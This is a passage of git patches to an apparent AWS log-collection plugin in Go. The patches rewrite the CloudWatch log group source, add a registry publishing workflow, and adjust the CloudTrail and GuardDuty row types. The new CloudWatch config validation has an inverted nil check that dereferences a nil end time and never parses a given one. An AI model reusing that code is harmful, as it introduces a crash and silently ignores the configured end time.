([]byte, error) { + inputBytes := []byte(input) + + // Attempt Direct Json Unmarshalling + var result map[string]interface{} + err := json.Unmarshal(inputBytes, &result) + if err == nil { + return inputBytes, nil + } + + // Attempt Unquoting + var unescaped string + err = json.Unmarshal([]byte(`"`+input+`"`), &unescaped) // Wrap the input in quotes to mimic a JSON string literal + if err != nil { + return nil, fmt.Errorf("failed to unescape JSON string: %w", err) + } + + // Decode the unescaped string + unescapedBytes := []byte(unescaped) + err = json.Unmarshal(unescapedBytes, &result) + if err != nil { + return nil, fmt.Errorf("failed to decode unescaped JSON: %w", err) + } + + return unescapedBytes, nil +} diff --git a/sources/aws_cloudwatch_source.go b/sources/aws_cloudwatch_source.go deleted file mode 100644 index 365a17c1..00000000 --- a/sources/aws_cloudwatch_source.go +++ /dev/null @@ -1,261 +0,0 @@ -package sources - -import ( - "context" - "encoding/json" - "fmt" - "log/slog" - "os" - "path" - "path/filepath" - - "github.com/aws/aws-sdk-go-v2/aws" - "github.com/aws/aws-sdk-go-v2/service/cloudwatchlogs" - cloudwatchtypes "github.com/aws/aws-sdk-go-v2/service/cloudwatchlogs/types" - - typehelpers "github.com/turbot/go-kit/types" - "github.com/turbot/tailpipe-plugin-aws/config" - "github.com/turbot/tailpipe-plugin-sdk/artifact_source" - "github.com/turbot/tailpipe-plugin-sdk/config_data" - "github.com/turbot/tailpipe-plugin-sdk/enrichment" - "github.com/turbot/tailpipe-plugin-sdk/rate_limiter" - "github.com/turbot/tailpipe-plugin-sdk/row_source" - "github.com/turbot/tailpipe-plugin-sdk/types" -) - -const AwsCloudwatchSourceIdentifier = "aws_cloudwatch" - -// register the source from the package init function -func init() { - row_source.RegisterRowSource[*AwsCloudWatchSource]() -} - -// AwsCloudWatchSource is a [ArtifactSource] implementation that reads logs from AWS CloudWatch -// and writes them to a temp JSON file -type AwsCloudWatchSource struct { - artifact_source.ArtifactSourceImpl[*AwsCloudWatchSourceConfig, *config.AwsConnection] - - client *cloudwatchlogs.Client - limiter *rate_limiter.APILimiter -} - -func (s *AwsCloudWatchSource) Init(ctx context.Context, configData config_data.ConfigData, connectionData config_data.ConfigData, opts ...row_source.RowSourceOption) error { - - // set the collection state func to the cloudwatch specific collection state - s.NewCollectionStateFunc = NewAwsCloudwatchCollectionState - - // call base to parse config and apply options - if err := s.ArtifactSourceImpl.Init(ctx, configData, connectionData, opts...); err != nil { - return err - } - - s.TmpDir = path.Join(artifact_source.BaseTmpDir, fmt.Sprintf("cloudwatch-%s", s.Config.LogGroupName)) - - // initialize client - client, err := s.getClient(ctx) - if err != nil { - return err - } - s.client = client - - // TODO NEEDED? https://github.com/turbot/tailpipe-plugin-sdk/issues/6 - s.limiter = rate_limiter.NewAPILimiter(&rate_limiter.Definition{ - Name: "cloudwatch_limiter", - FillRate: 5, - BucketSize: 5, - }) - - return nil -} - -func (s *AwsCloudWatchSource) Identifier() string { - return AwsCloudwatchSourceIdentifier -} - -// Close deletes the temp directory and all files -func (s *AwsCloudWatchSource) Close() error { - // delete the temp dir and all files - return os.RemoveAll(s.TmpDir) -} - -// DiscoverArtifacts gets the log streams for the configured log group and log stream prefix, -// within the configured time range, and respecting the time range in the collection state data -func (s *AwsCloudWatchSource) DiscoverArtifacts(ctx context.Context) error { - collectionState, _ := s.CollectionState.(*AwsCloudwatchCollectionState) - - input := &cloudwatchlogs.DescribeLogStreamsInput{ - LogGroupName: &s.Config.LogGroupName, - // set prefix (this may be nil) - LogStreamNamePrefix: s.Config.LogStreamPrefix, - } - - paginator := cloudwatchlogs.NewDescribeLogStreamsPaginator(s.client, input) - - var activeCount, inactiveCount int - for paginator.HasMorePages() { - output, err := paginator.NextPage(ctx) - if err != nil { - // Handle error - return fmt.Errorf("failed to get log streams, %w", err) - } - - for _, logStream := range output.LogStreams { - streamName := typehelpers.SafeString(logStream.LogStreamName) - - // get the time range of interest for this stream, - startTime, endTime := s.getTimeRange(streamName, collectionState) - // does this stream have entries within this time range - if !logStreamNameWithinTimeRange(logStream, startTime, endTime) { - inactiveCount++ - continue - } - activeCount++ - - sourceLocation := fmt.Sprintf("%s:%s", s.Config.LogGroupName, streamName) - sourceEnrichmentFields := &enrichment.CommonFields{ - TpSourceType: "cloudwatch", - TpSourceName: &streamName, - TpSourceLocation: &sourceLocation, - } - - // TODO #error handle rate limiting errors - info := types.NewArtifactInfo(streamName, types.WithEnrichmentFields(sourceEnrichmentFields)) - // handle the artifact discovery - trigger a download and notify observers - if err = s.OnArtifactDiscovered(ctx, info); err != nil { - // TODO #error - should we return an error here or gather all errors? - return fmt.Errorf("failed to notify observers of discovered artifact, %w", err) - } - } - } - slog.Info("DiscoverArtifacts - log streams discovered", "active", activeCount, "inactive", inactiveCount) - return nil -} - -func logStreamNameWithinTimeRange(logStream cloudwatchtypes.LogStream, startTime, endTime int64) bool { - if logStream.LastIngestionTime == nil || logStream.FirstEventTimestamp == nil { - return false - } - return *logStream.LastIngestionTime > startTime && *logStream.FirstEventTimestamp < endTime -} - -// DownloadArtifact gets the log events for the specified log stream, -// respecting the time range in the config and collection state data -func (s *AwsCloudWatchSource) DownloadArtifact(ctx context.Context, info *types.ArtifactInfo) error { - // get the collection state data - collectionState, _ := s.CollectionState.(*AwsCloudwatchCollectionState) - - // get the time range for the log stream - startTime, endTime := s.getTimeRange(info.Name, collectionState) - // if start time is after the end time, return - if startTime >= endTime { - slog.Info("DownloadArtifact - log stream already downloaded", "log stream", info.Name) - return nil - } - - var pageSize int32 = 5000 - input := &cloudwatchlogs.GetLogEventsInput{ - LogGroupName: &s.Config.LogGroupName, - LogStreamName: &info.Name, - StartTime: &startTime, - EndTime: &endTime, - Limit: &pageSize, - StartFromHead: aws.Bool(true), - } - - // copy the object data to a temp file - localFilePath := path.Join(s.TmpDir, fmt.Sprintf("%s.json", info.Name)) - // ensure the directory exists of the file to write to - if err := os.MkdirAll(filepath.Dir(localFilePath), 0755); err != nil { - return fmt.Errorf("failed to create directory for file, %w", err) - } - - // Create a local file to write the data to - outFile, err := os.Create(localFilePath) - if err != nil { - return fmt.Errorf("failed to create file, %w", err) - } - defer outFile.Close() - // create an encoder to write the events to the file - enc := json.NewEncoder(outFile) - - // keep track of the max time for the collection state data - var maxTime int64 - // event count - var count int - - paginator := cloudwatchlogs.NewGetLogEventsPaginator(s.client, input) - var previousToken *string - for paginator.HasMorePages() { - // apply rate limiter - //if err := s.limiter.Wait(ctx); err != nil { - // return fmt.Errorf("error acquiring rate limiter: %w", err) - //} - output, err := paginator.NextPage(ctx) - if err != nil { - return fmt.Errorf("failed to get log events, %w", err) - } - - for _, event := range output.Events { - count++ - ts := *event.Timestamp - slog.Debug("DownloadArtifact - writing event to file", "artifact", info.Name, "ts", *event.Timestamp, "maxTime", maxTime) - // update the max time - if ts > maxTime { - maxTime = *event.Timestamp - } - // write the message field to the file - if err := enc.Encode(event.Message); err != nil { - return fmt.Errorf("failed to write event to file, %w", err) - } - } - - // Break the loop if the NextToken hasn't changed, indicating all data has been fetched - if previousToken != nil && output.NextForwardToken != nil && *previousToken == *output.NextForwardToken { - slog.Debug("DownloadArtifact - NextForwardToken is same as previous NextForwardToken - all data fetched", "log stream", info.Name) - break - } - previousToken = output.NextForwardToken - } - - // if no events were found, delete the file and return - if count == 0 { - fileErr := os.Remove(localFilePath) - if fileErr != nil { - slog.Warn("DownloadArtifact - no events found, failed to delete file", "artifact", info.Name, "file", localFilePath, "error", fileErr) - return fmt.Errorf("no events found, failed to delete file, %w", fileErr) - } - return nil - } - - // notify observers of the discovered artifact - downloadInfo := &types.ArtifactInfo{Name: localFilePath, OriginalName: info.Name, EnrichmentFields: info.EnrichmentFields} - - // update collection state data for this log stream - collectionState.Upsert(info.Name, maxTime) - - return s.OnArtifactDownloaded(ctx, downloadInfo) -} - -// use the collection state data (if present) and the configured time range to determine the start and end time -func (s *AwsCloudWatchSource) getTimeRange(logStream string, collectionState *AwsCloudwatchCollectionState) (int64, int64) { - startTime := s.Config.StartTime.UnixMilli() - endTime := s.Config.EndTime.UnixMilli() - - if collectionState != nil { - // set start time from collection state data if present - if prevTimestamp, ok := collectionState.Timestamps[logStream]; ok { - startTime = prevTimestamp + 1 - } - } - return startTime, endTime -} - -func (s *AwsCloudWatchSource) getClient(ctx context.Context) (*cloudwatchlogs.Client, error) { - cfg, err := s.Connection.GetClientConfiguration(ctx, s.Config.Region) - if err != nil { - return nil, fmt.Errorf("failed to get client configuration, %w", err) - } - - client := cloudwatchlogs.NewFromConfig(*cfg) - return client, nil -} diff --git a/sources/aws_cloudwatch_source_config.go b/sources/aws_cloudwatch_source_config.go deleted file mode 100644 index 9aa69cb1..00000000 --- a/sources/aws_cloudwatch_source_config.go +++ /dev/null @@ -1,59 +0,0 @@ -package sources - -import ( - "fmt" - "time" - - "github.com/hashicorp/hcl/v2" - - "github.com/turbot/tailpipe-plugin-sdk/artifact_source_config" -) - -// AwsCloudWatchSourceConfig is the configuration for an [AwsCloudWatchSource] -type AwsCloudWatchSourceConfig struct { - artifact_source_config.ArtifactSourceConfigBase - // required to allow partial decoding - Remain hcl.Body `hcl:",remain" json:"-"` - - // the log group to collect - LogGroupName string `hcl:"log_group_name"` - // collect log streams with this prefix the log stream prefix - LogStreamPrefix *string `hcl:"log_stream_prefix"` - // the time range to collect for - StartTimeString string `hcl:"start_time"` - EndTimeString string `hcl:"end_time"` - StartTime time.Time - EndTime time.Time - - Region *string `hcl:"region"` -} - -func (c *AwsCloudWatchSourceConfig) Validate() error { - // parse start and end time - if c.StartTimeString == "" { - return fmt.Errorf("start_time is required") - } - startTime, err := time.Parse(time.RFC3339, c.StartTimeString) - if err != nil { - return fmt.Errorf("invalid start_time: %v", err) - } - c.StartTime = startTime - if c.EndTimeString == "" { - return fmt.Errorf("end_time is required") - - } - endTime, err := time.Parse(time.RFC3339, c.EndTimeString) - if err != nil { - return fmt.Errorf("invalid end_time: %v", err) - } - c.EndTime = endTime - if c.StartTime.After(c.EndTime) { - return fmt.Errorf("start_time must be before end_time") - } - - return c.ArtifactSourceConfigBase.Validate() -} - -func (c *AwsCloudWatchSourceConfig) Identifier() string { - return AwsCloudwatchSourceIdentifier -} diff --git a/sources/aws_cloudwatch_collection_state.go b/sources/cloudwatch_log_group_collection_state.go similarity index 92% rename from sources/aws_cloudwatch_collection_state.go rename to sources/cloudwatch_log_group_collection_state.go index da8eb396..2a1c0507 100644 --- a/sources/aws_cloudwatch_collection_state.go +++ b/sources/cloudwatch_log_group_collection_state.go @@ -34,7 +34,11 @@ func (s *AwsCloudwatchCollectionState) Upsert(name string, time int64) { if time == 0 { return } - s.Timestamps[name] = time + + currentTime := s.Timestamps[name] + if time > currentTime { + s.Timestamps[name] = time + } } func (s *AwsCloudwatchCollectionState) IsEmpty() bool { diff --git a/sources/cloudwatch_log_group_source.go b/sources/cloudwatch_log_group_source.go new file mode 100644 index 00000000..fc98f59d --- /dev/null +++ b/sources/cloudwatch_log_group_source.go @@ -0,0 +1,223 @@ +package sources + +import ( + "context" + "encoding/json" + "fmt" + "log/slog" + "time" + + "github.com/aws/aws-sdk-go-v2/aws" + "github.com/aws/aws-sdk-go-v2/service/cloudwatchlogs" + cwtypes "github.com/aws/aws-sdk-go-v2/service/cloudwatchlogs/types" + + typehelpers "github.com/turbot/go-kit/types" + "github.com/turbot/tailpipe-plugin-aws/config" + "github.com/turbot/tailpipe-plugin-sdk/config_data" + "github.com/turbot/tailpipe-plugin-sdk/enrichment" + "github.com/turbot/tailpipe-plugin-sdk/rate_limiter" + "github.com/turbot/tailpipe-plugin-sdk/row_source" + "github.com/turbot/tailpipe-plugin-sdk/types" +) + +const AwsCloudwatchSourceIdentifier = "aws_cloudwatch_log_group" + +// register the source from the package init function +func init() { + row_source.RegisterRowSource[*AwsCloudWatchSource]() +} + +// AwsCloudWatchSource is responsible for collection of events from log streams within a log group in AWS CloudWatch +type AwsCloudWatchSource struct { + row_source.RowSourceImpl[*AwsCloudWatchSourceConfig, *config.AwsConnection] + + client *cloudwatchlogs.Client + limiter *rate_limiter.APILimiter +} + +func (s *AwsCloudWatchSource) Init(ctx context.Context, configData config_data.ConfigData, connectionData config_data.ConfigData, opts ...row_source.RowSourceOption) error { + + // set the collection state ctor + s.NewCollectionStateFunc = NewAwsCloudwatchCollectionState + + // call base init to set config/connection + err := s.RowSourceImpl.Init(ctx, configData, connectionData, opts...) + if err != nil { + return fmt.Errorf("failed to init %s source, %w", AwsCloudwatchSourceIdentifier, err) + } + + // initialize client + client, err := s.getClient(ctx) + if err != nil { + return err + } + s.client = client + + // TODO NEEDED? https://github.com/turbot/tailpipe-plugin-sdk/issues/6 + s.limiter = rate_limiter.NewAPILimiter(&rate_limiter.Definition{ + Name: "cloudwatch_limiter", + FillRate: 5, + BucketSize: 5, + }) + + return nil +} + +func (s *AwsCloudWatchSource) Identifier() string { + return AwsCloudwatchSourceIdentifier +} + +func (s *AwsCloudWatchSource) Collect(ctx context.Context) error { + collectionState := s.CollectionState.(*AwsCloudwatchCollectionState) + + // if no end time is set, use the current time + if s.Config.EndTime == nil { + endTime := time.Now() + s.Config.EndTime = &endTime + } + + // obtain log streams which have active events in the time range + logStreamCollection, err := s.collectLogStreams(ctx, s.Config.LogGroupName, s.Config.LogStreamPrefix, collectionState) + if err != nil { + return fmt.Errorf("failed to collect log streams, %w", err) + } + + // collect events from each log stream + for _, ls := range logStreamCollection { + sourceEnrichmentFields := &enrichment.CommonFields{ + TpSourceType: AwsCloudwatchSourceIdentifier, + TpSourceName: &s.Config.LogGroupName, + TpSourceLocation: ls.LogStream.LogStreamName, + } + + if ls.StartTime >= ls.EndTime { + slog.Warn("log stream %s has invalid time range, skipping", ls.LogStream.LogStreamName) + continue + } + + // TODO: #config make this configurable? + var pageSize int32 = 5000 + var nextToken *string + + input := &cloudwatchlogs.GetLogEventsInput{ + LogGroupName: &s.Config.LogGroupName, + LogStreamName: ls.LogStream.LogStreamName, + StartFromHead: aws.Bool(true), + StartTime: &ls.StartTime, + EndTime: &ls.EndTime, + Limit: &pageSize, + } + + paginator := cloudwatchlogs.NewGetLogEventsPaginator(s.client, input) + for paginator.HasMorePages() { + var output *cloudwatchlogs.GetLogEventsOutput + output, err = paginator.NextPage(ctx) + if err != nil { + return fmt.Errorf("failed to get log events, %w", err) + } + + for _, event := range output.Events { + if event.Message == nil || *event.Message == "" { + continue + } + row := &types.RowData{ + Data: event.Message, + Metadata: sourceEnrichmentFields, + } + + // update collection state + collectionState.Upsert(*ls.LogStream.LogStreamName, *event.Timestamp) + collectionStateJSON, err := json.Marshal(collectionState) + if err != nil { + return fmt.Errorf("error serialising collectionState data: %w", err) + } + + if err := s.OnRow(ctx, row, collectionStateJSON); err != nil { + // TODO K #errorHandling - this does not bubble up + return fmt.Errorf("error processing row: %w", err) + } + } + + if nextToken != nil && output.NextForwardToken != nil && *nextToken == *output.NextForwardToken { + break + } + + nextToken = output.NextForwardToken + } + } + + return nil +} + +func (s *AwsCloudWatchSource) collectLogStreams(ctx context.Context, logGroupName string, logStreamPrefix *string, collectionState *AwsCloudwatchCollectionState) ([]logStreamsToCollect, error) { + var logStreams []logStreamsToCollect + var nextToken *string + + for { + input := &cloudwatchlogs.DescribeLogStreamsInput{ + LogGroupName: &logGroupName, + LogStreamNamePrefix: logStreamPrefix, + NextToken: nextToken, + } + + output, err := s.client.DescribeLogStreams(ctx, input) + if err != nil { + return nil, fmt.Errorf("failed to describe log streams, %w", err) + } + + for _, logStream := range output.LogStreams { + streamName := typehelpers.StringValue(logStream.LogStreamName) + start, end := s.getTimeRange(streamName, collectionState) + if s.logStreamHasEntriesInTimeRange(logStream, start, end) { + logStreams = append(logStreams, logStreamsToCollect{LogStream: logStream, StartTime: start, EndTime: end}) + } + } + + if output.NextToken == nil { + break + } + nextToken = output.NextToken + } + + return logStreams, nil +} + +func (s *AwsCloudWatchSource) logStreamHasEntriesInTimeRange(logStream cwtypes.LogStream, startTime, endTime int64) bool { + if logStream.LastIngestionTime == nil || logStream.FirstEventTimestamp == nil { + return false + } + if startTime >= endTime { + return false + } + return *logStream.LastIngestionTime > startTime && *logStream.FirstEventTimestamp < endTime +} + +// use the collection state data (if present) and the configured time range to determine the start and end time +func (s *AwsCloudWatchSource) getTimeRange(logStream string, collectionState *AwsCloudwatchCollectionState) (int64, int64) { + startTime := s.Config.StartTime.UnixMilli() + endTime := s.Config.EndTime.UnixMilli() + + if collectionState != nil { + // set start time from collection state data if present + if prevTimestamp, ok := collectionState.Timestamps[logStream]; ok { + startTime = prevTimestamp + 1 + } + } + return startTime, endTime +} + +func (s *AwsCloudWatchSource) getClient(ctx context.Context) (*cloudwatchlogs.Client, error) { + cfg, err := s.Connection.GetClientConfiguration(ctx, s.Config.Region) + if err != nil { + return nil, fmt.Errorf("failed to get client configuration, %w", err) + } + + client := cloudwatchlogs.NewFromConfig(*cfg) + return client, nil +} + +type logStreamsToCollect struct { + LogStream cwtypes.LogStream + StartTime int64 + EndTime int64 +} diff --git a/sources/cloudwatch_log_group_source_config.go b/sources/cloudwatch_log_group_source_config.go new file mode 100644 index 00000000..0b6c1bbd --- /dev/null +++ b/sources/cloudwatch_log_group_source_config.go @@ -0,0 +1,50 @@ +package sources + +import ( + "fmt" + "time" + + "github.com/hashicorp/hcl/v2" +) + +// AwsCloudWatchSourceConfig is the configuration for an [AwsCloudWatchSource] +type AwsCloudWatchSourceConfig struct { + // required to allow partial decoding + Remain hcl.Body `hcl:",remain" json:"-"` + + LogGroupName string `hcl:"log_group_name"` + LogStreamPrefix *string `hcl:"log_stream_prefix"` + StartTimeString string `hcl:"start_time"` + EndTimeString *string `hcl:"end_time"` + StartTime time.Time + EndTime *time.Time + Region *string `hcl:"region"` +} + +func (c *AwsCloudWatchSourceConfig) Validate() error { + // parse start and end time + if c.StartTimeString == "" { + return fmt.Errorf("start_time is required") + } + startTime, err := time.Parse(time.RFC3339, c.StartTimeString) + if err != nil { + return fmt.Errorf("invalid start_time: %v", err) + } + c.StartTime = startTime + if c.EndTimeString == nil { + endTime, err := time.Parse(time.RFC3339, *c.EndTimeString) + if err != nil { + return fmt.Errorf("invalid end_time: %v", err) + } + c.EndTime = &endTime + if c.StartTime.After(endTime) { + return fmt.Errorf("start_time must be before end_time") + } + } + + return nil +} + +func (c *AwsCloudWatchSourceConfig) Identifier() string { + return AwsCloudwatchSourceIdentifier +} diff --git a/sources/aws_s3_bucket_source.go b/sources/s3_bucket_source.go similarity index 100% rename from sources/aws_s3_bucket_source.go rename to sources/s3_bucket_source.go diff --git a/sources/aws_s3_bucket_source_config.go b/sources/s3_bucket_source_config.go similarity index 100% rename from sources/aws_s3_bucket_source_config.go rename to sources/s3_bucket_source_config.go diff --git a/sources/aws_s3_collection_state.go b/sources/s3_collection_state.go similarity index 100% rename from sources/aws_s3_collection_state.go rename to sources/s3_collection_state.go diff --git a/tables/cloudtrail_log_table.go b/tables/cloudtrail_log_table.go index 42554a25..ff1cd056 100644 --- a/tables/cloudtrail_log_table.go +++ b/tables/cloudtrail_log_table.go @@ -50,9 +50,6 @@ func (t *CloudTrailLogTable) SupportedSources(*CloudTrailLogTableConfig) []*tabl { SourceName: sources.AwsCloudwatchSourceIdentifier, MapperFunc: mappers.NewCloudTrailMapper, - Options: []row_source.RowSourceOption{ - artifact_source.WithRowPerLine(), - }, }, } } From 3a9f50639cc44a021143c6d7f96bbdae535e177d Mon Sep 17 00:00:00 2001 From: Puskar Basu Date: Fri, 6 Dec 2024 12:26:13 +0530 Subject: [PATCH 109/180] Add Build and Deploy OCI Image workflow --- .github/workflows/registry-publish.yml | 14 ++++++++++++++ 1 file changed, 14 insertions(+) create mode 100644 .github/workflows/registry-publish.yml diff --git a/.github/workflows/registry-publish.yml b/.github/workflows/registry-publish.yml new file mode 100644 index 00000000..3148fd1b --- /dev/null +++ b/.github/workflows/registry-publish.yml @@ -0,0 +1,14 @@ +name: Build and Deploy OCI Image + +on: + push: + tags: + - 'v*' + +jobs: + registry_publish_workflow_ghcr: + uses: turbot/steampipe-workflows/.github/workflows/registry-publish-ghcr.yml@extend-ghcr-publish + secrets: inherit + with: + releaseTimeout: 60m + pipeling: tailpipe \ No newline at end of file From 9a27551388cdee39a9add1bdf1a476d56499b60f Mon Sep 17 00:00:00 2001 From: Graza Date: Fri, 6 Dec 2024 11:29:35 +0000 Subject: [PATCH 110/180] removed uused table config from alb table --- tables/alb_access_log_table_config.go | 15 --------------- 1 file changed, 15 deletions(-) diff --git a/tables/alb_access_log_table_config.go b/tables/alb_access_log_table_config.go index 7a745918..22803f5f 100644 --- a/tables/alb_access_log_table_config.go +++ b/tables/alb_access_log_table_config.go @@ -1,21 +1,6 @@ package tables -import ( - "github.com/hashicorp/hcl/v2" -) - type AlbAccessLogTableConfig struct { - // Required to allow partial decoding - Remain hcl.Body `hcl:",remain" json:"-"` - - // Optional: Custom log format if not using default - LogFormat *string `json:"log_format,omitempty" hcl:"log_format,optional"` - - // Optional: File pattern for S3 bucket source - FilePattern *string `json:"file_pattern,omitempty" hcl:"file_pattern,optional"` - - // Optional: Timezone for parsing timestamps - Timezone *string `json:"timezone,omitempty" hcl:"timezone,optional"` } func (c *AlbAccessLogTableConfig) Identifier() string { From 0ad8a1b191b2bb2b43bcf04a8374acf5870ec8f4 Mon Sep 17 00:00:00 2001 From: Graza Date: Fri, 6 Dec 2024 14:32:57 +0000 Subject: [PATCH 111/180] fix: types on aws_cloudtrail_log table --- rows/cloudtrail_log.go | 54 +++++++++++++++++++++--------------------- 1 file changed, 27 insertions(+), 27 deletions(-) diff --git a/rows/cloudtrail_log.go b/rows/cloudtrail_log.go index cc84e6a3..3aff64d7 100644 --- a/rows/cloudtrail_log.go +++ b/rows/cloudtrail_log.go @@ -38,24 +38,24 @@ type CloudTrailLog struct { SharedEventID *string `json:"sharedEventID,omitempty" parquet:"name=shared_event_id"` SourceIPAddress *string `json:"sourceIPAddress,omitempty" parquet:"name=source_ip_address"` UserAgent *string `json:"userAgent,omitempty" parquet:"name=user_agent"` - UserIdentity UserIdentity `json:"userIdentity" parquet:"name=user_identity, type=JSON"` + UserIdentity UserIdentity `json:"userIdentity" parquet:"name=user_identity"` VpcEndpointId string `json:"vpcEndpointId,omitempty" parquet:"name=vpc_endpoint_id"` EventCategory string `json:"eventCategory,omitempty" parquet:"name=event_category"` SessionCredentialFromConsole *string `json:"sessionCredentialFromConsole,omitempty" parquet:"name=session_credential_from_console"` EdgeDeviceDetails *map[string]interface{} `json:"edgeDeviceDetails,omitempty" parquet:"name=edge_device_details, type=JSON"` - TLSDetails *TLSDetails `json:"tlsDetails,omitempty" parquet:"name=tls_details, type=JSON"` + TLSDetails *TLSDetails `json:"tlsDetails,omitempty" parquet:"name=tls_details"` } type UserIdentity struct { - Type string `json:"type"` - PrincipalId *string `json:"principalId,omitempty"` - ARN *string `json:"arn,omitempty"` - AccountId *string `json:"accountId,omitempty"` - AccessKeyId *string `json:"accessKeyId,omitempty"` - UserName *string `json:"userName,omitempty"` - SessionContext *SessionContext `json:"sessionContext,omitempty"` - InvokedBy *string `json:"invokedBy,omitempty"` - IdentityProvider *string `json:"identityProvider,omitempty"` + Type string `json:"type" parquet:"name=type"` + PrincipalId *string `json:"principalId,omitempty" parquet:"name=principal_id"` + ARN *string `json:"arn,omitempty" parquet:"name=arn"` + AccountId *string `json:"accountId,omitempty" parquet:"name=account_id"` + AccessKeyId *string `json:"accessKeyId,omitempty" parquet:"name=access_key_id"` + UserName *string `json:"userName,omitempty" parquet:"name=user_name"` + SessionContext *SessionContext `json:"sessionContext,omitempty" parquet:"name=session_context"` + InvokedBy *string `json:"invokedBy,omitempty" parquet:"name=invoked_by"` + IdentityProvider *string `json:"identityProvider,omitempty" parquet:"name=identity_provider"` } type Resource struct { @@ -65,32 +65,32 @@ type Resource struct { } type SessionContext struct { - Attributes *SessionAttributes `json:"attributes,omitempty"` - SessionIssuer *SessionIssuer `json:"sessionIssuer,omitempty"` - WebIdFederationData *WebIdFederationData `json:"webIdFederationData,omitempty"` - EC2RoleDelivery *string `json:"ec2RoleDelivery,omitempty"` + Attributes *SessionAttributes `json:"attributes,omitempty" parquet:"name=attributes"` + SessionIssuer *SessionIssuer `json:"sessionIssuer,omitempty" parquet:"name=session_issuer"` + WebIdFederationData *WebIdFederationData `json:"webIdFederationData,omitempty" parquet:"name=web_id_federation_data"` + EC2RoleDelivery *string `json:"ec2RoleDelivery,omitempty" parquet:"name=ec2_role_delivery"` } type SessionAttributes struct { - MfaAuthenticated *string `json:"mfaAuthenticated,omitempty"` - CreationDate *types.UnixMillis `json:"creationDate,omitempty"` + MfaAuthenticated *string `json:"mfaAuthenticated,omitempty" parquet:"name=mfa_authenticated"` + CreationDate *types.UnixMillis `json:"creationDate,omitempty" parquet:"name=creation_date"` } type SessionIssuer struct { - Type *string `json:"type,omitempty"` - PrincipalId *string `json:"principalId,omitempty"` - ARN *string `json:"arn,omitempty"` - AccountId *string `json:"accountId,omitempty"` - UserName *string `json:"userName,omitempty"` + Type *string `json:"type,omitempty" parquet:"name=type"` + PrincipalId *string `json:"principalId,omitempty" parquet:"name=principal_id"` + ARN *string `json:"arn,omitempty" parquet:"name=arn"` + AccountId *string `json:"accountId,omitempty" parquet:"name=account_id"` + UserName *string `json:"userName,omitempty" parquet:"name=user_name"` } type WebIdFederationData struct { - FederatedProvider *string `json:"federatedProvider,omitempty"` - Attributes *types.JSONString `json:"attributes,omitempty"` + FederatedProvider *string `json:"federatedProvider,omitempty" parquet:"name=federated_provider"` + Attributes *types.JSONString `json:"attributes,omitempty" parquet:"name=attributes, type=JSON"` } type TLSDetails struct { - TLSVersion *string `json:"tlsVersion,omitempty"` - CipherSuite *string `json:"cipherSuite,omitempty"` - ClientProvidedHostHeader *string `json:"clientProvidedHostHeader,omitempty"` + TLSVersion *string `json:"tlsVersion,omitempty" parquet:"name=tls_version"` + CipherSuite *string `json:"cipherSuite,omitempty" parquet:"name=cipher_suite"` + ClientProvidedHostHeader *string `json:"clientProvidedHostHeader,omitempty" parquet:"name=client_provided_host_header"` } From 888ae0654c05d3f62ee392ce8cfcafa4077708a6 Mon Sep 17 00:00:00 2001 From: Graza Date: Fri, 6 Dec 2024 15:27:24 +0000 Subject: [PATCH 112/180] refactor(guardduty): added missing field(s) to aws_guardduty_finding table --- mappers/guardduty_mapper.go | 8 ++++++++ rows/guardduty_finding.go | 36 +++++++++++++++++++++--------------- rows/waf_traffic_log.go | 2 +- 3 files changed, 30 insertions(+), 16 deletions(-) diff --git a/mappers/guardduty_mapper.go b/mappers/guardduty_mapper.go index d678394f..e8749e39 100644 --- a/mappers/guardduty_mapper.go +++ b/mappers/guardduty_mapper.go @@ -129,6 +129,14 @@ func (g *GuardDutyMapper) Map(_ context.Context, a any) (*rows.GuardDutyFinding, row.Service.Action.ActionDetails = details } + // service.additionInfo + if finding.Service.AdditionalInfo != nil { + row.Service.AdditionalInfo = &rows.GuardDutyFindingServiceAdditionInfo{ + Type: finding.Service.AdditionalInfo.Type, + Value: finding.Service.AdditionalInfo.Value, + } + } + // service.runtimeDetails if finding.Service.RuntimeDetails != nil { var runtimeDetails rows.GuardDutyFindingRuntimeDetails diff --git a/rows/guardduty_finding.go b/rows/guardduty_finding.go index 553736e9..a27e5c8f 100644 --- a/rows/guardduty_finding.go +++ b/rows/guardduty_finding.go @@ -28,21 +28,27 @@ type GuardDutyFinding struct { } type GuardDutyFindingService struct { - Action *GuardDutyFindingAction `json:"action,omitempty"` - Archived *bool `json:"archived,omitempty"` - Count *int32 `json:"count,omitempty"` - Detection *types.Detection `json:"detection,omitempty" parquet:"type=JSON"` // contains maps - DetectorId *string `json:"detector_id,omitempty"` - EbsVolumeScanDetails *types.EbsVolumeScanDetails `json:"ebs_volume_scan_details,omitempty" parquet:"type=JSON"` // contains []struct - EventFirstSeen *string `json:"event_first_seen,omitempty"` - EventLastSeen *string `json:"event_last_seen,omitempty"` - Evidence *types.Evidence `json:"evidence,omitempty" parquet:"type=JSON"` // contains []struct - FeatureName *string `json:"feature_name,omitempty"` - MalwareScanDetails *types.MalwareScanDetails `json:"malware_scan_details,omitempty" parquet:"type=JSON"` // contains []struct - ResourceRole *string `json:"resource_role,omitempty"` - RuntimeDetails *GuardDutyFindingRuntimeDetails `json:"runtime_details,omitempty"` - ServiceName *string `json:"service_name,omitempty"` - UserFeedback *string `json:"user_feedback,omitempty"` + Action *GuardDutyFindingAction `json:"action,omitempty"` + AdditionalInfo *GuardDutyFindingServiceAdditionInfo `json:"additional_info,omitempty"` + Archived *bool `json:"archived,omitempty"` + Count *int32 `json:"count,omitempty"` + Detection *types.Detection `json:"detection,omitempty" parquet:"type=JSON"` // contains maps + DetectorId *string `json:"detector_id,omitempty"` + EbsVolumeScanDetails *types.EbsVolumeScanDetails `json:"ebs_volume_scan_details,omitempty" parquet:"type=JSON"` // contains []struct + EventFirstSeen *string `json:"event_first_seen,omitempty"` + EventLastSeen *string `json:"event_last_seen,omitempty"` + Evidence *types.Evidence `json:"evidence,omitempty" parquet:"type=JSON"` // contains []struct + FeatureName *string `json:"feature_name,omitempty"` + MalwareScanDetails *types.MalwareScanDetails `json:"malware_scan_details,omitempty" parquet:"type=JSON"` // contains []struct + ResourceRole *string `json:"resource_role,omitempty"` + RuntimeDetails *GuardDutyFindingRuntimeDetails `json:"runtime_details,omitempty"` + ServiceName *string `json:"service_name,omitempty"` + UserFeedback *string `json:"user_feedback,omitempty"` +} + +type GuardDutyFindingServiceAdditionInfo struct { + Type *string `json:"type"` + Value *string `json:"value"` } type GuardDutyFindingRuntimeDetails struct { diff --git a/rows/waf_traffic_log.go b/rows/waf_traffic_log.go index 90a0931a..9ae89a9c 100644 --- a/rows/waf_traffic_log.go +++ 